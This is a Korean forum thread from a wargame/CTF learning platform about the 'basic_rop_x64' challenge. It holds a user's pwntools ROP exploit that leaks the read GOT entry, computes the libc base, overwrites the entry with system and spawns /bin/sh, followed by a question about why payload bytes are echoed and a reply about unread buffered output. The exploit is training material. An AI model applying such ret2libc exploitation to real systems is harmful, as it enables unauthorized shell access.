[클라우드 바우처] 80% 할인된 금액으로 드림핵 엔터프라이즈를 도입해 보세요. 자세히 알아보기
payload의 일부가 출력되는 이유

exploit code를 실행했을 때, 마지막에 payload의 일부가 출력되는 이유를 모르겠습니다.

<exploit code>
from pwn import *

HOST = 'host3.dreamhack.games'
PORT = 19566

p = remote(HOST, PORT)
elf = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")
context(arch='amd64', os='linux', log_level='debug')

pr = 0x400883
ppr = 0x400881

write_plt = elf.plt['write']
read_plt = elf.plt['read']
read_got = elf.got['read']

payload = b'A'*0x40 + b'B'*0x8

write(1, read_got, 0x10)

payload += p64(pr) + p64(1)
payload += p64(ppr) + p64(read_got) + p64(0)
payload += p64(write_plt)

read(0, read_got, 0x10)

payload += p64(pr) + p64(0)
payload += p64(ppr) + p64(read_got) + p64(0)
payload += p64(read_plt)

read("/bin/sh") => system("/bin/sh")

payload += p64(pr) + p64(read_got + 0x8)
payload += p64(read_plt)

p.send(payload)
p.recvuntil(b'A'*0x40) ---- 1

read = u64(p.recvn(6).ljust(8, b'\x00'))
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']

p.recv() ----2
p.sendlne(p64(system) + b'/bin/sh\x00')

p.interactive()

질문
1번 : C 파일에서 wirte(1, buf, sizeof(buf)) 함수를 실행하므로 buf의 크기인 0x40만큼 recv를 하는 것이 맞나요?
2번 : 강의와 다르게 payload의 일부(?)가 출력되는 것 같은데, 그 이유가 뭔가요?

#pwnable
작성자 정보
답변 3
avatar
wyv3rn
무플 방지 위원회장

음 질문이 조금 이해가 안되는데...
일단 이해한거 기준으로

  1. 아니요 40 이후에 릭 깂이 출력되기에 그걸 받아오기 위함입니다.
  2. 출력된게 아니라 보낸 값 아닌가요 로그 레벨을 디버그로 하셔서요.
2023.02.21. 20:25
BoB12
대표 업적 없음

payload가 출력되는 부분

1번 관련.
wyv3rn님께서 말씀하신 부분 이해했습니다.

2번 관련.
첨부한 사진은 위에서 제가 작성한 코드에서 2번(p.recv())을 안 했을 때의 결과입니다.
파란색으로 감싼 부분이 출력되는데, 저 값이 왜 나오는 지 모르겠습니다 ...

2023.02.22. 11:18
avatar
wyv3rn
무플 방지 위원회장

아 ㅎㅎㅎ
payload 값으로 길게 보냈는데 앞에서 A와 릭된 값만 빋아오고 나머지는 안받고 기다려서 인터렉티브 되자마자 출력해준겁니다.

공격 코드 상 서버에서는 해당 값을 포함하여 전체를 나에게 보내줬는데, 나는 A 40과 릭된 값만 우선 받았기 때문입니다.
별로 중요한 부분은 아니지만... 전체를 받아서 릭된 값만 추리시면 안뜰거에요.

2023.02.22. 11:40
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기